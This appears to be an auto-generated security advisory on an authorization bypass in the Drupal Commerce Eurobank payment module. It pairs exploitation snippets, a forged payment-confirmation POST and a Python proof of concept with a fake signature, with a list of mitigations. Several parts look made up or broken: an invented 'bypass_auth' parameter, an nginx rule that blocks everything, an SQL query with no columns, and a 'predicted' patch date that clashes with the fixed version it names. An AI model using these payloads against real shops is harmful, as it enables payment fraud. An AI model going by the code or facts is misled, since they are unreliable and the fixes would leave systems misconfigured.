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How the CVE Works
The vulnerability in Drupal Commerce Eurobank (Redirect) arises due to improper authorization checks during payment processing. Attackers can manipulate transaction redirections, leading to unauthorized payment confirmations or redirection hijacking. The flaw exists in versions before 2.1.1, where insufficient validation allows malicious actors to bypass intended security controls. By crafting specially modified HTTP requests, an attacker can force the system to approve payments without proper verification, leading to financial abuse or fraudulent transactions.
DailyCVE Form
Platform: Drupal Commerce
Version: < 2.1.1
Vulnerability: Authorization Bypass
Severity: High
Date: Jun 11, 2025
Prediction: Patch expected by Jun 25, 2025
What Undercode Say:
Exploitation Analysis
1. Crafting Malicious Redirects
POST /eurobank/payment HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Referer: attacker.com ... payment_status=confirmed&bypass_auth=1
2. Intercepting Payment Callbacks
tcpdump -i eth0 'port 443 and host eurobank-gateway.com' -w eurobank_traffic.pcap
3. Automated Exploitation (PoC)
import requests
url = "https://target.com/eurobank/confirm"
payload = {"txn_id": "12345", "status": "success", "signature": "malicious_hash"}
r = requests.post(url, data=payload)
print(r.status_code)
Protection & Mitigation
1. Immediate Patch Application
composer require drupal/commerce_eurobank:2.1.1
2. Web Server Hardening
location /eurobank/ {
deny all;
allow trusted_ips;
}
3. Log Monitoring for Anomalies
grep -E "POST /eurobank" /var/log/nginx/access.log | awk '{print $1, $7}'
4. Signature Verification Enforcement
if (!verify_signature($_POST['signature'], $secret_key)) {
header("HTTP/1.1 403 Forbidden");
exit;
}
5. Rate Limiting
iptables -A INPUT -p tcp --dport 443 -m connlimit --connlimit-above 10 -j DROP
6. Disable Debug Mode
// In settings.php $config['system.logging']['error_level'] = 'hide';
7. Manual Transaction Review
SELECT FROM commerce_payment WHERE status = 'completed' AND gateway = 'eurobank';
8. WAF Rule (ModSecurity)
SecRule REQUEST_URI "@contains eurobank" "id:1001,deny,msg:'Eurobank Exploit Attempt'"
9. Strict Referer Checks
if ($_SERVER['HTTP_REFERER'] != 'https://trusted.com') {
die("Invalid Referer");
}
10. Disable Unused Payment Methods
drush pm-uninstall commerce_eurobank_redirect
End of Report.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
